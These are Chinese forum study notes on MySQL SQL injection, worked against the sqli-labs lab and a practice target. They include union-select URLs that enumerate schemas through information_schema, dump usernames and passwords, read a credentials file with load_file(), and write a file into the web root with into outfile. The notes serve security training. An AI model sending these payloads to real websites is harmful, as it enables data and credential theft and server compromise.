[小迪安全]笔记 day12、13 MySQL注入

打印 上一主题 下一主题

主题 1005|帖子 1005|积分 3015


1. 简单案例

1.1 简易代码分析SQL注入原理


http://localhost:8085/sqli-labs/Less-2/index.php?id=2

id=2 正常查询
http://localhost:8085/sqli-labs/Less-2/index.php?id=-2

id=-2的话什么都查不出来,表中没有负数的 id。
http://localhost:8085/sqli-labs/Less-2/index.php?id=-2%20union%20select%201,%20email_id,%203%20from%20emails

用union查询邮箱就查出来了。
问题


1、2、3、4都可能注入。

b、c正确。
:::warning
a 注入的是参数 y
d 注入的是 参数  xx
只要 b 和 c 注入参数 x
:::
1.2 Sqlilabs注入靶场搭建简要使用

sqli-labs下载地址: https://github.com/Audi-1/sqli-labs
phpstudy下载地址:https://www.xp.cn/
注意:sqli-labs要在php5.x版本使用,7.x版本不能用,在phpstudy中切换成php5.x的版本。
1.3 墨者靶机真实MYSQL注入演示

如何判断注入点?
老办法:

  • and 1=1页面正常
  • and 1=2 页面错误
那么可能存在注入点。
  1. SELECT * FROM users WHERE id = 1 and 1 = 1 LIMIT 0, 1 正常
  2. SELECT * FROM users WHERE id = 1 and 1 = 2 LIMIT 0, 1 错误
复制代码
要选用最舒服的方法测试。
新方法:

  • 猜解列名数量(字段数):用 order by
  1. http://localhost:8085/sqli-labs/Less-2/index.php?id=1 order by 4 正常
  2. http://localhost:8085/sqli-labs/Less-2/index.php?id=1 order by 5 错误
  3. 第一个报错的列数是5,那么就有4列。
复制代码

  • union注入
union注入前后两条语句字段数相同,不然报错。
  1. http://localhost:8085/sqli-labs/Less-2/index.php?id=1 union select 1, 2, 3, 4
  2. 将id=-1,前面的查询就不会成功
  3. http://localhost:8085/sqli-labs/Less-2/index.php?id=-1 union select 1, 2, 3, 4
复制代码
网页显示的数字是就是回显位置 ,1、2、3、4 其中的几个或一个。
信息收集

  • 数据库版本:version()
  • 数据库名字:database()
  • 数据库用户:user()
  • 操作系统:@@version_compile_os
  1. http://219.153.49.228:48354/new_list.php?id=-1 union select 1, version(), 2, 3, 4
  2. http://219.153.49.228:48354/new_list.php?id=-1 union select 1, database(), 2, 3, 4
  3. http://219.153.49.228:48354/new_list.php?id=-1 union select 1, user(), 2, 3, 4
  4. http://219.153.49.228:48354/new_list.php?id=-1 union select 1, @@version_compile_os, 2, 3, 4
复制代码

知识点:

  • 在MySQL5.0以上版本中,MySQL存在一个自带数据库名为information_schema。它是一个存储记录有所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或列名信息。
  • 数据库中符号“.“代表下一级,如xiao.urer表示xiao数据库下的user表名
  1. information_schema.tables: 记录所有表名信息的表
  2. information_schema.colums: 记录所有列名信息的表
  3. table_name: 表名
  4. colunn_nane: 列名
  5. table_schema: 数据库名
复制代码
当前 mysql 实例中所有数据库的信息。SHOW DATABASES; 命令从这个表获取数据。
  1. mysql> use information_schema;
  2. Database changed
  3. mysql> SELECT * FROM SCHEMATA;
  4. +--------------+--------------------+----------------------------+------------------------+----------+--------------------+
  5. | CATALOG_NAME | SCHEMA_NAME        | DEFAULT_CHARACTER_SET_NAME | DEFAULT_COLLATION_NAME | SQL_PATH | DEFAULT_ENCRYPTION |
  6. +--------------+--------------------+----------------------------+------------------------+----------+--------------------+
  7. | def          | mysql              | utf8mb4                    | utf8mb4_0900_ai_ci     |     NULL | NO                 |
  8. | def          | information_schema | utf8                       | utf8_general_ci        |     NULL | NO                 |
  9. | def          | performance_schema | utf8mb4                    | utf8mb4_0900_ai_ci     |     NULL | NO
  10.   |
  11. | def          | sys                | utf8mb4                    | utf8mb4_0900_ai_ci     |     NULL | NO
  12.   |
  13.   |
  14. | def          | security           | gbk                        | gbk_chinese_ci         |     NULL | NO
  15.   |
  16. | def          | challenges         | gbk                        | gbk_chinese_ci         |     NULL | NO
  17.   |
  18. +--------------+--------------------+----------------------------+------------------------+----------+--------------------+
  19. 6 rows in set (0.00 sec)
复制代码
所以查出数据库名后,根据数据库名在information_schem数据库中的tables中查表名和在columns中查列名。
  1. 查询指定数据库名mozhe_Discuz_stormGroup下的表名信息:
  2. http://219.153.49.228:48354/new_list.php?id=-1 union select
  3. 1,group_concat (table_name),3,4 from information_schema.tables
  4. where table_schema='mozhe_Discuz_StormGroup'
复制代码

查询指定表名stozmGzoup_member下的列名信息:
  1. http://219.153.49.228148354/new_list.php?id=-1 union select
  2. 1,group_concat(column_name),3,4 from
  3. Information_schema.colums where
  4. table_name='StormGroup_member'
复制代码

查询指定数据
  1. http://219.153.49.228148354/new_list.php?id=-1 union
  2. select 1,name,password,4 from StormGroup_member
复制代码

猜解多个数据可以采用limit x, 1 变动猜解。
2. 高权限注入及低权限注入

root用户有最高权限,一般用户只有自己管理的数据库权限。
2.1 跨库查询及应用思路


  • 低版本注入配合读取或暴力,用SQLmap 字典或读取
  • 高版本MySQL:information_schema表特性,记录库名,表名,列名对应表。

  • 获取所有数据库名:
  1. http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union
  2. select 1, schema_name, 3 from information_schema.schemata
复制代码

只有一个数据库名,查询语句最后有limit 0, 1,所以只能查一条数据,用group_concat查出所有库名。
  1. http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union
  2. select 1, group_concat(schema_name), 3 from information_schema.schemata
复制代码


  • 获取bookstore数据库的表名
  1. http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union
  2. select 1, group_concat(table_name), 3 from information_schema.tables
  3. where table_schema = 'bookstore'
复制代码


  • 获取user表的列名
  1. http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union select
  2. 1,group_concat(column_name),3 from information_schema.columns
  3. where table_name='user'
复制代码


  • 获取username和password
  1. http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union
  2. select 1,username,password from bookstore.user where user.id = 3
复制代码

2.2 文件读写操作

常见读取文件列表:

  • load_file():读取函数
  • into outfile 或 into dumpfile:导出函数
2.2.2.1 读取操作
  1. http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union
  2. select 1,load_file("D:\\Programme\\softWare\\phpStudy\\WWW\\sqli-labs\\sql-connections\\db-creds.inc"),3
复制代码

可以看到在查看网页源代码页面中有配置文件内容。
注意:本地MySQL要有文件读写权限。
在MySQL的配置文件my.ini中加上secure_file_priv='',然后重启MySQL服务即可。
2.2.2.2 写入操作
  1. http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union
  2. select 'Hello', 'World', '!'
  3. into outfile 'D:\\Programme\\softWare\\phpStudy\\WWW\\sqli-labs\\hello.php'--+
复制代码


成功写入内容
2.3 路径获取常见方法


  • 报错显示


  • 遗留文件
  • 漏洞报错
  • 平台配置文件
  • 爆破
2.4 常见写入文件问题

魔术引号开关 magic_quote_gpc

  • 将文件路径和文件名转为HEX,输入进load_file函数括号中。
魔术引号及常见防护

  • 将注入 id 中的 select 等关键字替换成其他字符。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

莫张周刘王

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表